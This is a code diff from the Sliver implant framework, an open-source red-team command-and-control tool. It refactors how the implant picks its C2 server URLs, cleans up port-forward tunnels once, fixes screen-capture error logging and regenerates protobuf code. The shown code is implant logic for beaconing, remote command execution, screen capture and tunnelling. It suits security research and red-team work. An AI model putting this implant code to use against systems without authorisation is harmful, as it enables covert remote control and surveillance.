gorm.io/driver/sqlite v1.1.3/go.mod h1:AKDgRWk8lcSQSw+9kxCJnX/yySj8G3rdwYlU57cB45c=
|
||||
gorm.io/gorm v1.20.1/go.mod h1:0HFTzE/SqkGTzK6TlDPPQbAYCluiVvhzoA1+aVyzenw=
|
||||
gorm.io/gorm v1.20.4/go.mod h1:0HFTzE/SqkGTzK6TlDPPQbAYCluiVvhzoA1+aVyzenw=
|
||||
gorm.io/gorm v1.21.14 h1:NAR9A/3SoyiPVHouW/rlpMUZvuQZ6Z6UYGz+2tosSQo=
|
||||
gorm.io/gorm v1.21.14/go.mod h1:F+OptMscr0P2F2qU97WT1WimdH9GaQPoDW7AYd5i2Y0=
|
||||
gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA=
|
||||
gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
|
||||
gorm.io/driver/mysql v1.3.6 h1:BhX1Y/RyALb+T9bZ3t07wLnPZBukt+IRkMn8UZSNbGM=
|
||||
gorm.io/driver/mysql v1.3.6/go.mod h1:sSIebwZAVPiT+27jK9HIwvsqOGKx3YMPmrA3mBJR10c=
|
||||
gorm.io/driver/postgres v1.3.9 h1:lWGiVt5CijhQAg0PWB7Od1RNcBw/jS4d2cAScBcSDXg=
|
||||
gorm.io/driver/postgres v1.3.9/go.mod h1:qw/FeqjxmYqW5dBcYNBsnhQULIApQdk7YuuDPktVi1U=
|
||||
gorm.io/driver/sqlite v1.3.6 h1:Fi8xNYCUplOqWiPa3/GuCeowRNBRGTf62DEmhMDHeQQ=
|
||||
gorm.io/driver/sqlite v1.3.6/go.mod h1:Sg1/pvnKtbQ7jLXxfZa+jSHvoX8hoZA8cn4xllOMTgE=
|
||||
gorm.io/gorm v1.23.4/go.mod h1:l2lP/RyAtc1ynaTjFksBde/O8v9oOGIApu2/xRitmZk=
|
||||
gorm.io/gorm v1.23.7/go.mod h1:l2lP/RyAtc1ynaTjFksBde/O8v9oOGIApu2/xRitmZk=
|
||||
gorm.io/gorm v1.23.8 h1:h8sGJ+biDgBA1AD1Ha9gFCx7h8npU7AsLdlkX0n2TpE=
|
||||
gorm.io/gorm v1.23.8/go.mod h1:l2lP/RyAtc1ynaTjFksBde/O8v9oOGIApu2/xRitmZk=
|
||||
gotest.tools v2.2.0+incompatible/go.mod h1:DsYFclhRJ6vuDpmuTbkuFWG+y2sxOXAzmJt81HFBacw=
|
||||
gotest.tools/v3 v3.0.2/go.mod h1:3SzNCllyD9/Y+b5r9JIKQ474KzkZyqLqEfYqMsX94Bk=
|
||||
gotest.tools/v3 v3.0.3/go.mod h1:Z7Lb0S5l+klDB31fvDQX8ss/FlKDxtlFlw3Oa8Ymbl8=
|
||||
|
||||
@@ -372,6 +372,9 @@ func prepareDownload(path string, filter string, recurse bool) ([]byte, bool, in
|
||||
to download a single file
|
||||
*/
|
||||
fileInfo, err := os.Stat(path + filter)
|
||||
if err != nil {
|
||||
return nil, false, 0, 1, err
|
||||
}
|
||||
if err == nil && !fileInfo.IsDir() {
|
||||
// Then this is a single file
|
||||
rawData, err := os.ReadFile(path + filter)
|
||||
@@ -593,6 +596,9 @@ func executeHandler(data []byte, resp RPCResponse) {
|
||||
Err: fmt.Sprintf("%s", err),
|
||||
}
|
||||
}
|
||||
if cmd.Process != nil {
|
||||
execResp.Pid = uint32(cmd.Process.Pid)
|
||||
}
|
||||
}
|
||||
data, err = proto.Marshal(execResp)
|
||||
resp(data, err)
|
||||
|
||||
@@ -19,17 +19,18 @@ package tunnel_handlers
|
||||
*/
|
||||
|
||||
import (
|
||||
|
||||
// {{if .Config.Debug}}
|
||||
"log"
|
||||
// {{end}}
|
||||
|
||||
"context"
|
||||
"fmt"
|
||||
"io"
|
||||
"net"
|
||||
"sync"
|
||||
"time"
|
||||
|
||||
// {{if .Config.Debug}}
|
||||
"log"
|
||||
|
||||
// {{end}}
|
||||
|
||||
"github.com/bishopfox/sliver/implant/sliver/transports"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
@@ -108,23 +109,31 @@ func PortfwdReqHandler(envelope *sliverpb.Envelope, connection *transports.Conne
|
||||
Data: portfwdResp,
|
||||
}
|
||||
|
||||
once := sync.Once{}
|
||||
cleanup := func(reason error) {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[portfwd] Closing tunnel %d (%s)", tunnel.ID, reason)
|
||||
// {{end}}
|
||||
tunnel := connection.Tunnel(tunnel.ID)
|
||||
once.Do(func() {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[portfwd] Closing tunnel %d (%s)", tunnel.ID, reason)
|
||||
// {{end}}
|
||||
cleanupTunnel := connection.Tunnel(tunnel.ID)
|
||||
if cleanupTunnel == nil {
|
||||
return
|
||||
}
|
||||
|
||||
tunnelClose, _ := proto.Marshal(&sliverpb.TunnelData{
|
||||
Closed: true,
|
||||
TunnelID: tunnel.ID,
|
||||
tunnelClose, _ := proto.Marshal(&sliverpb.TunnelData{
|
||||
Closed: true,
|
||||
TunnelID: cleanupTunnel.ID,
|
||||
})
|
||||
connection.Send <- &sliverpb.Envelope{
|
||||
Type: sliverpb.MsgTunnelClose,
|
||||
Data: tunnelClose,
|
||||
}
|
||||
connection.RemoveTunnel(cleanupTunnel.ID)
|
||||
if dst != nil {
|
||||
dst.Close()
|
||||
}
|
||||
cancelContext()
|
||||
})
|
||||
connection.Send <- &sliverpb.Envelope{
|
||||
Type: sliverpb.MsgTunnelClose,
|
||||
Data: tunnelClose,
|
||||
}
|
||||
connection.RemoveTunnel(tunnel.ID)
|
||||
dst.Close()
|
||||
cancelContext()
|
||||
}
|
||||
|
||||
go func() {
|
||||
|
||||
@@ -1,3 +1,4 @@
|
||||
//go:build darwin
|
||||
// +build darwin
|
||||
|
||||
package ps
|
||||
@@ -90,6 +91,7 @@ func processes() ([]Process, error) {
|
||||
pCommReader := bytes.NewBuffer(pComm)
|
||||
binPath, _ = pCommReader.ReadString(0x00)
|
||||
}
|
||||
binPath = strings.TrimSuffix(binPath, "\x00") // Trim the null byte
|
||||
// Discard the error: if the call errors out, we'll just have an empty argv slice
|
||||
cmdLine, _ := getArgvFromPid(int(p.Proc.P_pid))
|
||||
|
||||
|
||||
@@ -58,9 +58,11 @@ func DarwinCapture() []byte {
|
||||
}
|
||||
img, err := screen.Capture(0, 0, width, height)
|
||||
|
||||
//{{if .Config.Debug}}
|
||||
log.Printf("Error Capture: %s", err)
|
||||
//{{end}}
|
||||
if err != nil {
|
||||
//{{if .Config.Debug}}
|
||||
log.Printf("Error Capture: %s", err)
|
||||
//{{end}}
|
||||
}
|
||||
|
||||
var buf bytes.Buffer
|
||||
if err != nil {
|
||||
|
||||
@@ -47,9 +47,11 @@ func LinuxCapture() []byte {
|
||||
}
|
||||
img, err := screen.Capture(0, 0, width, height)
|
||||
|
||||
//{{if .Config.Debug}}
|
||||
log.Printf("Error Capture: %s", err)
|
||||
//{{end}}
|
||||
if err != nil {
|
||||
//{{if .Config.Debug}}
|
||||
log.Printf("Error Capture: %s", err)
|
||||
//{{end}}
|
||||
}
|
||||
|
||||
var buf bytes.Buffer
|
||||
if err != nil {
|
||||
|
||||
@@ -47,9 +47,11 @@ func WindowsCapture() []byte {
|
||||
}
|
||||
img, err := screen.Capture(0, 0, width, height)
|
||||
|
||||
//{{if .Config.Debug}}
|
||||
log.Printf("Error Capture: %s", err)
|
||||
//{{end}}
|
||||
if err != nil {
|
||||
//{{if .Config.Debug}}
|
||||
log.Printf("Error Capture: %s", err)
|
||||
//{{end}}
|
||||
}
|
||||
|
||||
var buf bytes.Buffer
|
||||
if err != nil {
|
||||
|
||||
@@ -1,5 +1,23 @@
|
||||
package service
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2022 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"time"
|
||||
|
||||
@@ -67,14 +67,7 @@ import (
|
||||
)
|
||||
|
||||
var (
|
||||
InstanceID string
|
||||
|
||||
c2Servers = []string{
|
||||
// {{range $index, $value := .Config.C2}}
|
||||
"{{$value}}", // {{$index}}
|
||||
// {{end}}
|
||||
}
|
||||
|
||||
InstanceID string
|
||||
connectionErrors = 0
|
||||
)
|
||||
|
||||
@@ -202,7 +195,7 @@ func beaconStartup() {
|
||||
defer func() {
|
||||
abort <- struct{}{}
|
||||
}()
|
||||
beacons := transports.StartBeaconLoop(c2Servers, abort)
|
||||
beacons := transports.StartBeaconLoop(abort)
|
||||
for beacon := range beacons {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("Next beacon = %v", beacon)
|
||||
@@ -234,7 +227,7 @@ func sessionStartup() {
|
||||
defer func() {
|
||||
abort <- struct{}{}
|
||||
}()
|
||||
connections := transports.StartConnectionLoop(c2Servers, abort)
|
||||
connections := transports.StartConnectionLoop(abort)
|
||||
for connection := range connections {
|
||||
if connection != nil {
|
||||
err := sessionMainLoop(connection)
|
||||
@@ -480,9 +473,7 @@ func openSessionHandler(data []byte) {
|
||||
log.Printf("[beacon] failed to parse open session msg: %s", err)
|
||||
// {{end}}
|
||||
}
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[beacon] open session -> %v", openSession.C2S)
|
||||
// {{end}}
|
||||
|
||||
if openSession.Delay != 0 {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[beacon] delay %s", time.Duration(openSession.Delay))
|
||||
@@ -492,7 +483,7 @@ func openSessionHandler(data []byte) {
|
||||
|
||||
go func() {
|
||||
abort := make(chan struct{})
|
||||
connections := transports.StartConnectionLoop(openSession.C2S, abort)
|
||||
connections := transports.StartConnectionLoop(abort)
|
||||
defer func() { abort <- struct{}{} }()
|
||||
connectionAttempts := 0
|
||||
for connection := range connections {
|
||||
|
||||
@@ -1,12 +1,31 @@
|
||||
//go:build windows
|
||||
// +build windows
|
||||
|
||||
package spoof
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2022 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"golang.org/x/sys/windows"
|
||||
"os/exec"
|
||||
"syscall"
|
||||
|
||||
"golang.org/x/sys/windows"
|
||||
|
||||
// {{if .Config.Debug}}
|
||||
"log"
|
||||
// {{end}}
|
||||
|
||||
@@ -113,7 +113,7 @@ func (b *Beacon) Duration() time.Duration {
|
||||
}
|
||||
|
||||
// StartBeaconLoop - Starts the beacon loop generator
|
||||
func StartBeaconLoop(c2s []string, abort <-chan struct{}) <-chan *Beacon {
|
||||
func StartBeaconLoop(abort <-chan struct{}) <-chan *Beacon {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("Starting beacon loop ...")
|
||||
// {{end}}
|
||||
@@ -122,7 +122,7 @@ func StartBeaconLoop(c2s []string, abort <-chan struct{}) <-chan *Beacon {
|
||||
nextBeacon := make(chan *Beacon)
|
||||
|
||||
innerAbort := make(chan struct{})
|
||||
c2Generator := C2Generator(c2s, innerAbort)
|
||||
c2Generator := C2Generator(innerAbort)
|
||||
|
||||
go func() {
|
||||
defer close(nextBeacon)
|
||||
|
||||
@@ -1,5 +1,23 @@
|
||||
package transports
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2022 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"net/url"
|
||||
"sync"
|
||||
@@ -14,7 +32,7 @@ type Connection struct {
|
||||
ctrl chan struct{}
|
||||
cleanup func()
|
||||
once *sync.Once
|
||||
tunnels *map[uint64]*Tunnel
|
||||
tunnels map[uint64]*Tunnel
|
||||
mutex *sync.RWMutex
|
||||
|
||||
uri *url.URL
|
||||
@@ -53,7 +71,7 @@ func (c *Connection) Cleanup() {
|
||||
func (c *Connection) Tunnel(ID uint64) *Tunnel {
|
||||
c.mutex.RLock()
|
||||
defer c.mutex.RUnlock()
|
||||
return (*c.tunnels)[ID]
|
||||
return c.tunnels[ID]
|
||||
}
|
||||
|
||||
// AddTunnel - Add tunnel to mapping
|
||||
@@ -61,7 +79,7 @@ func (c *Connection) AddTunnel(tun *Tunnel) {
|
||||
c.mutex.Lock()
|
||||
defer c.mutex.Unlock()
|
||||
|
||||
(*c.tunnels)[tun.ID] = tun
|
||||
c.tunnels[tun.ID] = tun
|
||||
}
|
||||
|
||||
// RemoveTunnel - Add tunnel to mapping
|
||||
@@ -69,17 +87,17 @@ func (c *Connection) RemoveTunnel(ID uint64) {
|
||||
c.mutex.Lock()
|
||||
defer c.mutex.Unlock()
|
||||
|
||||
delete(*c.tunnels, ID)
|
||||
delete(c.tunnels, ID)
|
||||
}
|
||||
|
||||
func (c *Connection) removeAndCloseAllTunnels() {
|
||||
c.mutex.Lock()
|
||||
defer c.mutex.Unlock()
|
||||
|
||||
for id, tunnel := range *c.tunnels {
|
||||
for id, tunnel := range c.tunnels {
|
||||
tunnel.Close()
|
||||
|
||||
delete(*c.tunnels, id)
|
||||
delete(c.tunnels, id)
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
@@ -80,7 +80,7 @@ type Start func() error
|
||||
type Stop func() error
|
||||
|
||||
// StartConnectionLoop - Starts the main connection loop
|
||||
func StartConnectionLoop(c2s []string, abort <-chan struct{}) <-chan *Connection {
|
||||
func StartConnectionLoop(abort <-chan struct{}) <-chan *Connection {
|
||||
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("Starting interactive session connection loop ...")
|
||||
@@ -88,7 +88,7 @@ func StartConnectionLoop(c2s []string, abort <-chan struct{}) <-chan *Connection
|
||||
|
||||
nextConnection := make(chan *Connection)
|
||||
innerAbort := make(chan struct{})
|
||||
c2Generator := C2Generator(c2s, innerAbort)
|
||||
c2Generator := C2Generator(innerAbort)
|
||||
|
||||
go func() {
|
||||
var connection *Connection
|
||||
@@ -204,7 +204,7 @@ func mtlsConnect(uri *url.URL) (*Connection, error) {
|
||||
Send: send,
|
||||
Recv: recv,
|
||||
ctrl: ctrl,
|
||||
tunnels: &map[uint64]*Tunnel{},
|
||||
tunnels: map[uint64]*Tunnel{},
|
||||
mutex: &sync.RWMutex{},
|
||||
once: &sync.Once{},
|
||||
IsOpen: false,
|
||||
@@ -306,7 +306,7 @@ func wgConnect(uri *url.URL) (*Connection, error) {
|
||||
Send: send,
|
||||
Recv: recv,
|
||||
ctrl: ctrl,
|
||||
tunnels: &map[uint64]*Tunnel{},
|
||||
tunnels: map[uint64]*Tunnel{},
|
||||
mutex: &sync.RWMutex{},
|
||||
once: &sync.Once{},
|
||||
uri: uri,
|
||||
@@ -414,7 +414,7 @@ func httpConnect(uri *url.URL) (*Connection, error) {
|
||||
Send: send,
|
||||
Recv: recv,
|
||||
ctrl: ctrl,
|
||||
tunnels: &map[uint64]*Tunnel{},
|
||||
tunnels: map[uint64]*Tunnel{},
|
||||
mutex: &sync.RWMutex{},
|
||||
once: &sync.Once{},
|
||||
uri: uri,
|
||||
@@ -535,7 +535,7 @@ func dnsConnect(uri *url.URL) (*Connection, error) {
|
||||
Send: send,
|
||||
Recv: recv,
|
||||
ctrl: ctrl,
|
||||
tunnels: &map[uint64]*Tunnel{},
|
||||
tunnels: map[uint64]*Tunnel{},
|
||||
mutex: &sync.RWMutex{},
|
||||
once: &sync.Once{},
|
||||
IsOpen: true,
|
||||
@@ -644,7 +644,7 @@ func tcpPivotConnect(uri *url.URL) (*Connection, error) {
|
||||
Send: send,
|
||||
Recv: recv,
|
||||
ctrl: ctrl,
|
||||
tunnels: &map[uint64]*Tunnel{},
|
||||
tunnels: map[uint64]*Tunnel{},
|
||||
mutex: &sync.RWMutex{},
|
||||
once: &sync.Once{},
|
||||
IsOpen: true,
|
||||
|
||||
@@ -36,10 +36,18 @@ const (
|
||||
)
|
||||
|
||||
// C2Generator - Creates a stream of C2 URLs based on a connection strategy
|
||||
func C2Generator(c2Servers []string, abort <-chan struct{}) <-chan *url.URL {
|
||||
func C2Generator(abort <-chan struct{}) <-chan *url.URL {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("Starting c2 url generator ({{.Config.ConnectionStrategy}}) ...")
|
||||
// {{end}}
|
||||
|
||||
c2Servers := []func() string{}
|
||||
// {{range $index, $value := .Config.C2}}
|
||||
c2Servers = append(c2Servers, func() string {
|
||||
return "{{$value}}" // {{$index}}
|
||||
})
|
||||
// {{end}} - range
|
||||
|
||||
generator := make(chan *url.URL)
|
||||
go func() {
|
||||
defer close(generator)
|
||||
@@ -48,16 +56,16 @@ func C2Generator(c2Servers []string, abort <-chan struct{}) <-chan *url.URL {
|
||||
var next string
|
||||
switch "{{.Config.ConnectionStrategy}}" {
|
||||
case strategyRandom: // Random
|
||||
next = c2Servers[insecureRand.Intn(len(c2Servers))]
|
||||
next = c2Servers[insecureRand.Intn(len(c2Servers))]()
|
||||
case strategyRandomDomain: // Random Domain
|
||||
// Select the next sequential C2 then use it's protocol to make a random
|
||||
// selection from all C2s that share it's protocol.
|
||||
next = c2Servers[insecureRand.Intn(len(c2Servers))]
|
||||
next = c2Servers[insecureRand.Intn(len(c2Servers))]()
|
||||
next = randomCCDomain(c2Servers, next)
|
||||
case strategySequential: // Sequential
|
||||
next = c2Servers[c2Counter%uint(len(c2Servers))]
|
||||
next = c2Servers[c2Counter%uint(len(c2Servers))]()
|
||||
default:
|
||||
next = c2Servers[c2Counter%uint(len(c2Servers))]
|
||||
next = c2Servers[c2Counter%uint(len(c2Servers))]()
|
||||
}
|
||||
c2Counter++
|
||||
if ^uint(0) < c2Counter {
|
||||
@@ -90,15 +98,15 @@ func C2Generator(c2Servers []string, abort <-chan struct{}) <-chan *url.URL {
|
||||
}
|
||||
|
||||
// randomCCDomain - Random selection within a protocol
|
||||
func randomCCDomain(ccServers []string, next string) string {
|
||||
func randomCCDomain(ccServers []func() string, next string) string {
|
||||
uri, err := url.Parse(next)
|
||||
if err != nil {
|
||||
return next
|
||||
}
|
||||
pool := []string{}
|
||||
pool := []func() string{}
|
||||
protocol := uri.Scheme
|
||||
for _, cc := range ccServers {
|
||||
uri, err := url.Parse(cc)
|
||||
uri, err := url.Parse(cc())
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
@@ -106,7 +114,7 @@ func randomCCDomain(ccServers []string, next string) string {
|
||||
pool = append(pool, cc)
|
||||
}
|
||||
}
|
||||
return pool[insecureRand.Intn(len(pool))]
|
||||
return pool[insecureRand.Intn(len(pool))]()
|
||||
}
|
||||
|
||||
var (
|
||||
|
||||
@@ -46,7 +46,7 @@ func namedPipeConnect(uri *url.URL) (*Connection, error) {
|
||||
Send: send,
|
||||
Recv: recv,
|
||||
ctrl: ctrl,
|
||||
tunnels: &map[uint64]*Tunnel{},
|
||||
tunnels: map[uint64]*Tunnel{},
|
||||
mutex: &sync.RWMutex{},
|
||||
once: &sync.Once{},
|
||||
IsOpen: true,
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
// Code generated by protoc-gen-go. DO NOT EDIT.
|
||||
// versions:
|
||||
// protoc-gen-go v1.27.1
|
||||
// protoc-gen-go v1.26.0
|
||||
// protoc v3.21.5
|
||||
// source: clientpb/client.proto
|
||||
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
// Code generated by protoc-gen-go. DO NOT EDIT.
|
||||
// versions:
|
||||
// protoc-gen-go v1.27.1
|
||||
// protoc-gen-go v1.26.0
|
||||
// protoc v3.21.5
|
||||
// source: commonpb/common.proto
|
||||
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
// Code generated by protoc-gen-go. DO NOT EDIT.
|
||||
// versions:
|
||||
// protoc-gen-go v1.27.1
|
||||
// protoc-gen-go v1.26.0
|
||||
// protoc v3.21.5
|
||||
// source: dnspb/dns.proto
|
||||
|
||||
|
||||
+245
-239
@@ -1,6 +1,6 @@
|
||||
// Code generated by protoc-gen-go. DO NOT EDIT.
|
||||
// versions:
|
||||
// protoc-gen-go v1.27.1
|
||||
// protoc-gen-go v1.26.0
|
||||
// protoc v3.21.5
|
||||
// source: rpcpb/services.proto
|
||||
|
||||
@@ -31,7 +31,7 @@ var file_rpcpb_services_proto_rawDesc = []byte{
|
||||
0x72, 0x6f, 0x74, 0x6f, 0x1a, 0x15, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2f, 0x73,
|
||||
0x6c, 0x69, 0x76, 0x65, 0x72, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x1a, 0x15, 0x63, 0x6c, 0x69,
|
||||
0x65, 0x6e, 0x74, 0x70, 0x62, 0x2f, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x2e, 0x70, 0x72, 0x6f,
|
||||
0x74, 0x6f, 0x32, 0xa6, 0x38, 0x0a, 0x09, 0x53, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x52, 0x50, 0x43,
|
||||
0x74, 0x6f, 0x32, 0xe6, 0x38, 0x0a, 0x09, 0x53, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x52, 0x50, 0x43,
|
||||
0x12, 0x30, 0x0a, 0x0a, 0x47, 0x65, 0x74, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x0f,
|
||||
0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a,
|
||||
0x11, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x56, 0x65, 0x72, 0x73, 0x69,
|
||||
@@ -68,6 +68,10 @@ var file_rpcpb_services_proto_rawDesc = []byte{
|
||||
0x6f, 0x6e, 0x54, 0x61, 0x73, 0x6b, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x12, 0x14, 0x2e,
|
||||
0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x54,
|
||||
0x61, 0x73, 0x6b, 0x1a, 0x14, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x42,
|
||||
0x65, 0x61, 0x63, 0x6f, 0x6e, 0x54, 0x61, 0x73, 0x6b, 0x12, 0x3e, 0x0a, 0x10, 0x43, 0x61, 0x6e,
|
||||
0x63, 0x65, 0x6c, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x54, 0x61, 0x73, 0x6b, 0x12, 0x14, 0x2e,
|
||||
0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x54,
|
||||
0x61, 0x73, 0x6b, 0x1a, 0x14, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x42,
|
||||
0x65, 0x61, 0x63, 0x6f, 0x6e, 0x54, 0x61, 0x73, 0x6b, 0x12, 0x33, 0x0a, 0x0c, 0x4d, 0x6f, 0x6e,
|
||||
0x69, 0x74, 0x6f, 0x72, 0x53, 0x74, 0x61, 0x72, 0x74, 0x12, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d,
|
||||
0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x12, 0x2e, 0x63, 0x6f, 0x6d,
|
||||
@@ -673,243 +677,245 @@ var file_rpcpb_services_proto_depIdxs = []int32{
|
||||
4, // 8: rpcpb.SliverRPC.RmBeacon:input_type -> clientpb.Beacon
|
||||
4, // 9: rpcpb.SliverRPC.GetBeaconTasks:input_type -> clientpb.Beacon
|
||||
5, // 10: rpcpb.SliverRPC.GetBeaconTaskContent:input_type -> clientpb.BeaconTask
|
||||
0, // 11: rpcpb.SliverRPC.MonitorStart:input_type -> commonpb.Empty
|
||||
0, // 12: rpcpb.SliverRPC.MonitorStop:input_type -> commonpb.Empty
|
||||
0, // 13: rpcpb.SliverRPC.GetJobs:input_type -> commonpb.Empty
|
||||
6, // 14: rpcpb.SliverRPC.KillJob:input_type -> clientpb.KillJobReq
|
||||
7, // 15: rpcpb.SliverRPC.StartMTLSListener:input_type -> clientpb.MTLSListenerReq
|
||||
8, // 16: rpcpb.SliverRPC.StartWGListener:input_type -> clientpb.WGListenerReq
|
||||
9, // 17: rpcpb.SliverRPC.StartDNSListener:input_type -> clientpb.DNSListenerReq
|
||||
10, // 18: rpcpb.SliverRPC.StartHTTPSListener:input_type -> clientpb.HTTPListenerReq
|
||||
10, // 19: rpcpb.SliverRPC.StartHTTPListener:input_type -> clientpb.HTTPListenerReq
|
||||
11, // 20: rpcpb.SliverRPC.StartTCPStagerListener:input_type -> clientpb.StagerListenerReq
|
||||
11, // 21: rpcpb.SliverRPC.StartHTTPStagerListener:input_type -> clientpb.StagerListenerReq
|
||||
12, // 22: rpcpb.SliverRPC.LootAdd:input_type -> clientpb.Loot
|
||||
12, // 23: rpcpb.SliverRPC.LootRm:input_type -> clientpb.Loot
|
||||
12, // 24: rpcpb.SliverRPC.LootUpdate:input_type -> clientpb.Loot
|
||||
12, // 25: rpcpb.SliverRPC.LootContent:input_type -> clientpb.Loot
|
||||
0, // 26: rpcpb.SliverRPC.LootAll:input_type -> commonpb.Empty
|
||||
12, // 27: rpcpb.SliverRPC.LootAllOf:input_type -> clientpb.Loot
|
||||
0, // 28: rpcpb.SliverRPC.Hosts:input_type -> commonpb.Empty
|
||||
13, // 29: rpcpb.SliverRPC.Host:input_type -> clientpb.Host
|
||||
13, // 30: rpcpb.SliverRPC.HostRm:input_type -> clientpb.Host
|
||||
14, // 31: rpcpb.SliverRPC.HostIOCRm:input_type -> clientpb.IOC
|
||||
15, // 32: rpcpb.SliverRPC.Generate:input_type -> clientpb.GenerateReq
|
||||
16, // 33: rpcpb.SliverRPC.Regenerate:input_type -> clientpb.RegenerateReq
|
||||
0, // 34: rpcpb.SliverRPC.ImplantBuilds:input_type -> commonpb.Empty
|
||||
17, // 35: rpcpb.SliverRPC.DeleteImplantBuild:input_type -> clientpb.DeleteReq
|
||||
0, // 36: rpcpb.SliverRPC.Canaries:input_type -> commonpb.Empty
|
||||
0, // 37: rpcpb.SliverRPC.GenerateWGClientConfig:input_type -> commonpb.Empty
|
||||
0, // 38: rpcpb.SliverRPC.GenerateUniqueIP:input_type -> commonpb.Empty
|
||||
0, // 39: rpcpb.SliverRPC.ImplantProfiles:input_type -> commonpb.Empty
|
||||
17, // 40: rpcpb.SliverRPC.DeleteImplantProfile:input_type -> clientpb.DeleteReq
|
||||
18, // 41: rpcpb.SliverRPC.SaveImplantProfile:input_type -> clientpb.ImplantProfile
|
||||
19, // 42: rpcpb.SliverRPC.MsfStage:input_type -> clientpb.MsfStagerReq
|
||||
20, // 43: rpcpb.SliverRPC.ShellcodeRDI:input_type -> clientpb.ShellcodeRDIReq
|
||||
0, // 44: rpcpb.SliverRPC.GetCompiler:input_type -> commonpb.Empty
|
||||
21, // 45: rpcpb.SliverRPC.ShellcodeEncoder:input_type -> clientpb.ShellcodeEncodeReq
|
||||
0, // 46: rpcpb.SliverRPC.ShellcodeEncoderMap:input_type -> commonpb.Empty
|
||||
0, // 47: rpcpb.SliverRPC.Websites:input_type -> commonpb.Empty
|
||||
22, // 48: rpcpb.SliverRPC.Website:input_type -> clientpb.Website
|
||||
22, // 49: rpcpb.SliverRPC.WebsiteRemove:input_type -> clientpb.Website
|
||||
23, // 50: rpcpb.SliverRPC.WebsiteAddContent:input_type -> clientpb.WebsiteAddContent
|
||||
23, // 51: rpcpb.SliverRPC.WebsiteUpdateContent:input_type -> clientpb.WebsiteAddContent
|
||||
24, // 52: rpcpb.SliverRPC.WebsiteRemoveContent:input_type -> clientpb.WebsiteRemoveContent
|
||||
25, // 53: rpcpb.SliverRPC.Ping:input_type -> sliverpb.Ping
|
||||
